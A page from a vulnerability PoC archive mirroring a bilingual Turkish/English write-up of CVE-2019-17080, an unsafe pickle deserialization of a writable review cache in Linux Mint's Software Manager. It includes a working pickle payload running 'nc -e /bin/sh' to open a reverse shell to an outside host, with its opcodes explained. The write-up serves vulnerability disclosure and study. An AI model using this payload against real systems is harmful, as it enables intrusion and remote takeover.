Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2019-17080 PoC — mintinstall 代码问题漏洞

Source
Associated Vulnerability
Title: mintinstall 代码问题漏洞 (CVE-2019-17080)
Description:mintinstall (aka Software Manager) 7.9.9 for Linux Mint allows code execution if a REVIEWS_CACHE file is controlled by an attacker, because an unpickle occurs. This is resolved in 8.0.0 and backports.
Description
CVE-2019-17080 
Readme
[TR] Linux mint yazılım yöneticisi (v 7.9.5/9) yanlış yapılandırmadan dolayı obje enjeksiyonu ve keyfi kod çalıştırmamıza neden olmaktadır.

[EN] Linux mint software manager (v 7.9.5/9) causes us to execute object injection and arbitrary code due to incorrect configuration


	mintinsall

[TR] Mint yazılım yöneticisini çalıştırdıgımız da yeni yorum olup olmadıgını kontrol ediyor eger yeni yorum varsa  [new-reviews.list](https://community.linuxmint.com/data/) adresinden indirip dosyaya yazıyor.

[EN] If there is a new comment [new-reviews.list](https://community.linuxmint.com/data/) download from and write to file.

![](imgs/20190926-164424.png)

	code mintinstall.py
	
[TR] Yazılım yöneticisini ilk başladıgında , reviews modülünden ReviewCache() sınıfını çağırıyor.

[EN] When the software manager first starts, it calls the ReviewCache() class from the reviews module.
 
 ![](imgs/20190926-170607.png)
 
# Verileri Nasıl İşliyor?
# How Does It Process Data?

	code reviews.py
	
[TR] ReviewCache sınıfı başladıgında(__init__)  _load_cache() fonksiyonunu çagırıyor.

[EN] When the ReviewCache class starts (__init__) it calls _load_cache()

![](imgs/20190926-171334.png)

[TR] Load cache fonksiyonu REVIEWS_CACHE degişkeninde olan dosyayı okuyup pickle modülü yardımıyla dosyanın içinde ki datayı unserialize ediyor ve bazı değerleri hafıza da tutuyor.

[EN] The Load cache function reads the file in the REVIEWS_CACHE variable and unserializes the data in the file with the help of the pickle module and holds some values in memory.


![](imgs/20190926-171938.png)
![](imgs/20190926-165833.png)
![](imgs/20190926-165855.png)

[TR] Dosyayı kontrol ettigimde yazma iznim oldugu görünüyor.

[EN] When I check the file, it looks like I'm allowed to write.

 ![](imgs/20190926-170651.png)

[TR] [Pickle](https://docs.python.org/3.6/library/pickle.html) modülü yardımıyla serialize/unserialize işlemleri gerçekleştirebildigimizden, reduce metodu kullanarak modül dahil edip keyfi kod yürütebiliriz.

[EN] [Pickle](https://docs.python.org/3.6/library/pickle.html) since we can perform serialize/unserialize operations with the module, we can include the module and execute arbitrary code using the reduce method.

![](imgs/20190927-113447.png)

[TR] Bu durumda eğer dosya unserialize edilmeye çalışılırsa zararlı kodumuz çalışacaktır.

[EN] If you attempt to unserialize the file, our malicious code will work.

	cos 
	system 
	(S'nc -e /bin/sh 192.168.2.138 4545' 
	tR.
	>>modül adı c{os}
	>> fonksiyon
	( >> işaretleyici nesnesi 
	S >> tırnak sonuna kadar okuyup stack'e at
	tR. >> stackte olanları çagır ve sonucu stacke yerleştir.
	
![](imgs/20190927-131940.png)



![alt-text](imgs/exploit.gif)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →